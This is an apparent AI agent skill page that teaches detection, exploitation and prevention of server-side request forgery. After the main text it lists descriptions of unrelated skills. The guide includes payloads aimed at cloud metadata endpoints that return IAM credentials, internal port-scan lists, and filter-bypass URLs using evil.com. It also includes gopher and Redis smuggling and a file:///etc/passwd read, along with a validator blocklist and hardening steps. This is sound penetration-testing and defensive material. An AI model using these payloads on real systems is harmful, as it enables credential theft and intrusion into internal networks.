ssrf-detection
Detect, exploit, and prevent Server-Side Request Forgery (SSRF) vulnerabilities. Use when tasks involve testing for SSRF in web applications, accessing internal services through SSRF, bypassing SSRF filters, implementing SSRF prevention, or auditing applications that fetch external URLs. Covers blind and non-blind SSRF, cloud metadata exploitation, and defense strategies.
What this skill does
# SSRF Detection
## Overview
Find, exploit, and fix Server-Side Request Forgery. SSRF tricks the server into making HTTP requests to unintended destinations — accessing internal services, cloud metadata, or other systems that the server can reach but the attacker cannot.
## Instructions
### How SSRF Works
```
Normal flow:
User → Server → External API (intended)
SSRF attack:
User sends: url=http://169.254.169.254/latest/meta-data/
Server → AWS Metadata Service (unintended)
Server returns: IAM credentials, instance info, etc.
```
Any feature that takes a URL from user input and fetches it server-side is a potential SSRF vector:
- Image/file URL imports ("paste image URL")
- Webhook configurations
- PDF generators that fetch external resources
- URL preview/unfurl features (Slack-style link previews)
- API integrations with user-provided endpoints
- RSS/feed readers
- Document converters
### SSRF Types
### Non-blind (classic) SSRF
The server returns the response body to the attacker:
```
Request: GET /fetch?url=http://internal-api:8080/admin/users
Response: {"users": [...all internal user data...]}
The attacker sees the response from the internal service.
```
### Blind SSRF
The server makes the request but doesn't return the response body. The attacker confirms SSRF through:
```
1. Timing differences:
url=http://10.0.0.1:22 (SSH port — fast connection)
url=http://10.0.0.1:12345 (closed port — timeout)
Different response times confirm port is open/closed
2. Out-of-band callbacks:
url=http://attacker-controlled.burpcollaborator.net
If the server sends a DNS/HTTP request to your server, SSRF confirmed
3. Error message differences:
url=http://10.0.0.1 → "Connection refused" (host exists)
url=http://10.0.0.99 → "Host unreachable" (host doesn't exist)
```
### Semi-blind SSRF
The full response isn't returned, but partial information leaks — error messages, response times, status codes, or content length.
### Detection and Exploitation
### Testing methodology
```
1. IDENTIFY input points that accept URLs:
- Search for parameters: url=, uri=, path=, src=, dest=, redirect=,
link=, feed=, host=, site=, callback=, webhook=, proxy=
- Look for features: "import from URL", "add webhook", "preview link"
2. TEST with external callback:
url=http://your-burp-collaborator.com
url=http://your-server.com/ssrf-test
→ If you receive the request, basic SSRF confirmed
3. TEST internal access:
url=http://localhost
url=http://127.0.0.1
url=http://[::1] # IPv6 localhost
url=http://169.254.169.254 # AWS metadata
url=http://metadata.google.internal # GCP metadata
url=http://100.100.100.200 # Azure metadata
4. MAP internal network:
url=http://10.0.0.1 through url=http://10.0.0.255
url=http://172.16.0.1 through url=http://172.31.255.255
url=http://192.168.0.1 through url=http://192.168.255.255
→ Use response time/error differences to identify live hosts
5. SCAN internal ports:
url=http://10.0.0.5:22 (SSH)
url=http://10.0.0.5:3306 (MySQL)
url=http://10.0.0.5:6379 (Redis)
url=http://10.0.0.5:9200 (Elasticsearch)
```
### Cloud metadata exploitation
Cloud instances have metadata services accessible at well-known IPs:
```
AWS (most impactful — can yield IAM credentials):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
→ Returns: AccessKeyId, SecretAccessKey, Token
GCP:
http://metadata.google.internal/computeMetadata/v1/
Header required: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header required: Metadata: true
DigitalOcean:
http://169.254.169.254/metadata/v1/
```
### Filter bypass techniques
When basic SSRF payloads are blocked:
```
IP address obfuscation:
127.0.0.1 → 2130706433 (decimal)
127.0.0.1 → 0x7f000001 (hex)
127.0.0.1 → 0177.0.0.1 (octal)
127.0.0.1 → 127.1 (short form)
127.0.0.1 → 0 (on some systems)
DNS rebinding:
Register a domain that resolves to 127.0.0.1
First resolution → external IP (passes allowlist check)
Second resolution → 127.0.0.1 (actual request)
Tools: rebind.it, taviso/rbndr
URL parsing tricks:
http://evil.com#@expected.com # Fragment confusion
http://[email protected] # Username in URL
http://evil.com/..;/internal # Path traversal
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ # Unicode normalization
Protocol smuggling:
gopher://127.0.0.1:6379/_*3%0d%0a... # Redis commands via gopher
dict://127.0.0.1:6379/info # Redis info via dict protocol
file:///etc/passwd # Local file read
```
### Prevention
### URL validation
```python
# ssrf_prevention.py
# Validate URLs to prevent SSRF attacks
import ipaddress
import socket
from urllib.parse import urlparse
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'), # Private
ipaddress.ip_network('172.16.0.0/12'), # Private
ipaddress.ip_network('192.168.0.0/16'), # Private
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('169.254.0.0/16'), # Link-local (metadata)
ipaddress.ip_network('100.64.0.0/10'), # Carrier-grade NAT
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('fc00::/7'), # IPv6 private
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
]
def validate_url(url: str) -> bool:
"""Validate a user-provided URL is safe to fetch.
Checks: scheme allowlist, DNS resolution to non-private IP,
no IP address obfuscation, no redirect to internal networks.
Args:
url: User-provided URL to validate
Returns:
True if URL is safe to fetch
Raises:
ValueError: If URL is blocked for SSRF prevention
"""
parsed = urlparse(url)
# 1. Scheme allowlist — only http and https
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"Blocked scheme: {parsed.scheme}")
# 2. No IP addresses in URL — force DNS resolution
hostname = parsed.hostname
if not hostname:
raise ValueError("No hostname in URL")
# 3. Resolve DNS and check against blocked networks
try:
resolved_ips = socket.getaddrinfo(hostname, parsed.port or 443)
except socket.gaierror:
raise ValueError(f"Cannot resolve: {hostname}")
for family, type_, proto, canonname, sockaddr in resolved_ips:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_NETWORKS:
if ip in network:
raise ValueError(
f"Blocked: {hostname} resolves to private IP {ip}"
)
return True
```
### Cloud metadata protection
```bash
# AWS: Require IMDSv2 (token-based) — blocks SSRF because
# the attacker can't set the required PUT header through SSRF
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890 \
--http-tokens required \
--http-endpoint enabled
# GCP: Metadata service already requires header
# Metadata-Flavor: Google — blocks basic SSRF
# But some HTTP libraries add custom headers from redirects
# Network-level: Block metadata IP in firewall rules
iptables -A OUTPUT -d 169.254.169.254 -j DROP # Nuclear option
# Better: use IMDSv2 + application-level URL validation
```
### Architecture-level defenses
```
1. NETWORK SEGMENTATION
Don't let web servers reach internal services directly.
Use a dedicated proxy/gateway for outbound requests.
2. DEDICATED FETCHER SERVICE
Move URL fetching to an isolated microservice with:
- Its own network policy (can't reach internal services)
- Allowlist of permitted destination domains
- RespRelated in Cloud & DevOps
appbuilder-action-scaffolder
IncludedCreate, implement, deploy, and debug Adobe Runtime actions with consistent layout, validation, and error handling. Use this skill whenever the user needs to add actions to an App Builder project, understand action structure (params, response format, web/raw actions), configure actions in the manifest, use App Builder SDKs (State, Files, Events, database), deploy and invoke actions via CLI, debug action issues, or implement patterns such as webhook receivers, custom event providers, journaling consumers, large payload redirects, action sequence pipelines, and Asset Compute workers. Also trigger when users mention serverless functions in Adobe context, action logging, IMS authentication for actions, or cron-style scheduled actions.
orchestrating-datacloud
IncludedSalesforce Data Cloud product orchestrator for connect→prepare→harmonize→segment→act workflows. Use this skill when the user needs a multi-step Data Cloud pipeline, cross-phase troubleshooting, or data space and data kit management. TRIGGER when: user needs a multi-step Data Cloud pipeline, asks to set up or troubleshoot Data Cloud across phases, manages data spaces or data kits, or wants a cross-phase sf data360 workflow. DO NOT TRIGGER when: work is isolated to a single phase (use the matching phase-specific skill), the task is STDM/session tracing/parquet telemetry (use observing-agentforce), standard CRM SOQL (use querying-soql), or Apex implementation (use generating-apex).
github-project-automation
IncludedAutomate GitHub repository setup with CI/CD workflows, issue templates, Dependabot, and CodeQL security scanning. Includes 12 production-tested workflows and prevents 18 errors: YAML syntax, action pinning, and configuration. Use when: setting up GitHub Actions CI/CD, creating issue/PR templates, enabling Dependabot or CodeQL scanning, deploying to Cloudflare Workers, implementing matrix testing, or troubleshooting YAML indentation, action version pinning, secrets syntax, runner versions, or CodeQL configuration. Keywords: github actions, github workflow, ci/cd, issue templates, pull request templates, dependabot, codeql, security scanning, yaml syntax, github automation, repository setup, workflow templates, github actions matrix, secrets management, branch protection, codeowners, github projects, continuous integration, continuous deployment, workflow syntax error, action version pinning, runner version, github context, yaml indentation error
sf-datacloud
IncludedSalesforce Data Cloud product orchestrator for connect→prepare→harmonize→segment→act workflows. TRIGGER when: user needs a multi-step Data Cloud pipeline, asks to set up or troubleshoot Data Cloud across phases, manages data spaces or data kits, or wants a cross-phase `sf data360` workflow. DO NOT TRIGGER when: work is isolated to a single phase (use the matching sf-datacloud-* skill), the task is STDM/session tracing/parquet telemetry (use sf-ai-agentforce-observability), standard CRM SOQL (use sf-soql), or Apex implementation (use sf-apex).
fabric-cli
IncludedUse this skill for Fabric.so CLI workflows with the `fabric` terminal command: diagnose/install/login, search or browse a Fabric library, save notes/links/files, create folders, ask the Fabric AI assistant, manage tasks/workspaces, generate shell completion, check subscription usage, produce JSON output, and use Fabric as persistent agent memory. Do not use for Microsoft Fabric/Azure/Power BI `fab`, Daniel Miessler's Fabric framework, Python Fabric SSH, Fabric.js, or textile/fashion fabric.
lark
IncludedLark/Feishu CLI skills: lark-cli operations for docs, markdown, sheets, base, calendar, im, mail, task, okr, drive, wiki, slides, whiteboard, apps, approval, attendance, contact, vc, minutes, event. Use when the user needs to operate Lark/Feishu resources via lark-cli, send messages, manage documents, spreadsheets, calendars, tasks, OKRs, deploy web pages, or any Feishu/Lark workspace operations.